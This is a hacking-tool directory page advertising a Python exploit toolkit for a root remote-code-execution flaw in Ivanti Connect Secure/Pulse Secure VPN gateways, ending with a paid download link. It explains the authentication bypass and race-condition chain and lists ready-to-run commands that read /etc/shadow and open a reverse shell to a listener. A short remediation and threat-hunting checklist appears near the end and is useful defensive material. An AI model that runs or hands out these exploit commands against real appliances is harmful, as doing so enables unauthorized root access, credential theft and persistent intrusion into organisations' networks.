Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-104935 — Python exploit toolkit for CVE-2026-104935 in Ivanti Connect Secure/Pulse Secure, chaining X-DSCGI-PATH auth bypass and a wu.cgi TOCTOU race to achieve root RCE, with detect, audit, and exploit modes. | Kitploit
Tools/GitHubGitHub/maxprog-svg/cve-2026-104935
Web Vulnerability ScannersPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration TestingAuthentication
Remote Access Trojan
GitHubmaxprog-svg/cve-2026-104935

CVE-2026-104935

Python exploit toolkit for CVE-2026-104935 in Ivanti Connect Secure/Pulse Secure, chaining X-DSCGI-PATH auth bypass and a wu.cgi TOCTOU race to achieve root RCE, with detect, audit, and exploit modes.

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    897
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    853
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    668
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    448
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    417
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    400

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-104935 — Ivanti Connect Secure / Pulse Secure RCE Exploit

Overview

CVE-2026-104935 is a critical remote code execution (RCE) vulnerability affecting Ivanti Connect Secure and Pulse Secure VPN gateways. The vulnerability allows unauthenticated attackers to execute arbitrary commands as root on the affected appliance.

Attack Chain

The exploit chains two vulnerabilities:

  1. Authentication Bypass via X-DSCGI-PATH header — welcome.cgi honors the custom X-DSCGI-PATH HTTP header to route incoming requests to an arbitrary CGI handler. By pointing this header at the authenticated upload handler (/home/webserver/htdocs/dana/fb/smb/wu.cgi), the attacker gains unauthenticated access to the file-upload functionality.

  2. TOCTOU Race Condition in wu.cgi — The upload handler validates the destination path before completing the file transfer. By firing parallel requests, the exploit widens the race window so the file is written to disk outside the validation boundary. This primitive was documented by Volexity in their analysis of in-the-wild APT activity.

  3. In-Memory Command Execution — The uploaded script (primer) executes entirely from RAM via memfd_create, minimizing disk footprint — consistent with low-observability tradecraft observed in production.

Affected Versions

  • 22.8 ≤ version ≤ 22.8R2.4
  • 25.1.x ≤ version ≤ 25.1.1.1
  • 25.1.2 ≤ version ≤ 25.1.2.2

References

  • Volexity Blog — A Series of Unauthenticated Events
  • NVD — CVE-2026-104935
  • CISA KEV Catalog

Exploit Tool

cve_2026-104935.py is an authorized-use toolkit for detection, auditing, and exploitation of this vulnerability.

Prerequisites

  • Python 3.8+
  • requests library (pip install requests)

Usage Modes

ModeDescription
detectNon-interactive check — prints [+] BYPASS CONFIRMED or [-] Bypass did not reach wu.cgi
auditInteractive fingerprinting + bypass check + remediation recommendations
exploitFull exploit chain — upload primer + trigger execution

Command Examples

# Detect mode (no authorization required)
python3 cve_2026-104935.py https://vpn.example.com --mode detect

# Audit mode (shows version, vulnerability verdict, remediation checklist)
python3 cve_2026-104935.py https://vpn.example.com --mode audit --authorize yes

# Execute a custom command as root
python3 cve_2026-104935.py https://vpn.example.com --mode exploit \
    --cmd "cat /etc/shadow" --exec-kind cmd --authorize yes

# Reverse shell (ensure nc is listening first)
python3 cve_2026-104935.py https://vpn.example.com --mode exploit \
    --exec-kind reverse --lhost 10.0.0.1 --lport 4444 --authorize yes

# Probe mode (runs id; uname -a; version check)
python3 cve_2026-104935.py https://vpn.example.com --mode exploit \
    --exec-kind probe --authorize yes

Options

OptionDefaultDescription
--modeauditOperation mode: detect, audit, or exploit
--cmd—Command to execute (exploit mode)
--exec-kindcmdPayload type: cmd, reverse, or probe
--lhost—Listener hostname/IP (reverse mode)
--lport—Listener port (reverse mode)
--races6Parallel upload attempts for the TOCTOU window
--timeout15HTTP request timeout in seconds
--verify-tls—Enable TLS certificate verification
--proxy—HTTP proxy URL
--authorize—Set to yes to skip authorization prompt
--log-outauto-generatedPath for the engagement log file

Exit Codes

CodeMeaning
0Success / not exploitable (audit mode)
1Bypass failed (likely patched)
2Bypass confirmed (detect mode)
3Unknown error
4Runtime error

Engagement Log

Every run saves an engagement log (ISO-8601 timestamped) to the file specified by --log-out. This records all HTTP requests, responses, and verdicts for reporting purposes.


Remediation Checklist

  1. Upgrade immediately to the fixed build per Ivanti advisory.
  2. Rotate all secrets reachable from the appliance: domain credentials cached in IDS sessions, AD service accounts, VPN user passwords.
  3. Hunt for persistence: check /tmp/.system/IDS_* leftovers, unexpected python/bash children spawned by /usr/local/bin/dsWeb httpd workers, outbound connections after October 13, 2026.
  4. Review webserver access logs for requests to welcome.cgi bearing X-DSCGI-PATH headers.

https://satoshidisk.com/pay/CSgI1q

Download Tool